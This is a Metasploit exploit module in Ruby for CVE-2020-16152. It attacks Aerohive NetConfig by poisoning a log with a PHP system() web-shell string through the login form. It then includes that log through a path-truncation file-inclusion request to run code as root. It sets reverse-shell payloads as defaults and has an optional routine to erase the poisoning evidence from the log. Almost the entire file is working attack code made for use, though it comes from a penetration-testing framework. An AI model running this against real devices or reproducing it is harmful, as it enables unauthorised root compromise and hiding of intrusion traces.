##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',
        'Description' => %q{
          This module exploits LFI and log poisoning vulnerabilities
          (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a
          build-242466 and older in order to achieve unauthenticated remote
          code execution as the root user. NetConfig is the Aerohive/Extreme
          Networks HiveOS administrative webinterface. Vulnerable versions
          allow for LFI because they rely on a version of PHP 5 that is
          vulnerable to string truncation attacks. This module leverages this
          issue in conjunction with log poisoning to gain RCE as root.

          Upon successful exploitation, the Aerohive NetConfig application
          may hang for as long as the spawned shell remains open. For the
          Linux target, the MeterpreterTryToFork option (enabled by default)
          will likely prevent this. If the app hangs, closing the session
          should render it responsive again.

          The module provides an automatic cleanup option to clean the log.
          However, this option is disabled by default because any modifications
          to the /tmp/messages log, even via sed, may render the target
          (temporarily) unexploitable. This state can last over an hour.

          This module has been successfully tested against Aerohive NetConfig
          versions 8.2r4 and 10.0r7a.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Erik de Jong', # github.com/eriknl - discovery and PoC
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2020-16152'], # still categorized as RESERVED
          ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
        'Targets' => [
          [
            'Linux', {
              'Arch' => [ARCH_ARMLE],
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'curl',
                'MeterpreterTryToFork' => true # prevent the web server from hanging when we get a meterpreter session
              }
            }
          ],
          [
            'CMD', {
              'Arch' => [ARCH_CMD],
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'
              }
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-02-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),
      OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),
    ]
  end

  def auto_clean_log
    datastore['AUTO_CLEAN_LOG']
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php5')
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
    end

    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first
    unless version
      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
    end

    begin
      # Rex::Version treats 10.0r8 as higher than 10.0r8a but 10.0r8 is affected and was probably released before 10.0r8a
      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') || version == '10.0r8'
        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
      else
        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
      end
    rescue StandardError => e
      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
    end
  end

  def poison_log
    password = rand_text_alphanumeric(8..12)
    @shell_cmd_name = rand_text_alphanumeric(3..6)
    @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"

    # Poison /tmp/messages
    print_status('Attempting to poison the log at /tmp/messages...')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login.php5'),
      'vars_post' => {
        'login_auth' => 0,
        'miniHiveUI' => 1,
        'authselect' => 'Name/Password',
        'userName' => @poison_cmd,
        'password' => password
      }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
    end

    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
    end

    print_status('Server responded as expected. Continuing...')
  end

  def on_new_session(session)
    log_cleaned = false
    if auto_clean_log
      print_status('Attempting to clean the log file at /tmp/messages...')
      print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')
      begin
        # We need remove the line containing the PHP system call from /tmp/messages
        # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.
        # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line
        # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:
        # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.
        line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
        clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
        cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\
        "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"

        if session.type.to_s.eql? 'meterpreter'
          session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

          session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"")

          # Wait for cleanup
          Rex.sleep 5

          # Check for the PHP system call in /tmp/messages
          messages_contents = session.fs.file.open('/tmp/messages').read.to_s
          # using =~ here produced unexpected results, so include? is used instead
          unless messages_contents.include?(@poison_cmd)
            log_cleaned = true
          end
        elsif session.type.to_s.eql?('shell')
          session.shell_command_token(cmds_to_clean_log.to_s)

          # Check for the PHP system call in /tmp/messages
          poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")
          # using =~ here produced unexpected results, so include? is used instead
          unless poison_evidence.include?(@poison_cmd)
            log_cleaned = true
          end
        end
      rescue StandardError => e
        print_error("Error during cleanup: #{e.message}")
      ensure
        super
      end

      unless log_cleaned
        print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")
      end
    end

    if log_cleaned
      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
    else
      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")
      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Attempting to execute the payload')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'action.php5'),
      'vars_get' => {
        '_action' => 'list',
        'debug' => 'true'
      },
      'vars_post' => {
        '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation
        @shell_cmd_name => cmd
      }
    }, 0)

    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')
  end

  def exploit
    poison_log
    if target.arch.first == ARCH_CMD
      print_status('Executing the payload')
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end
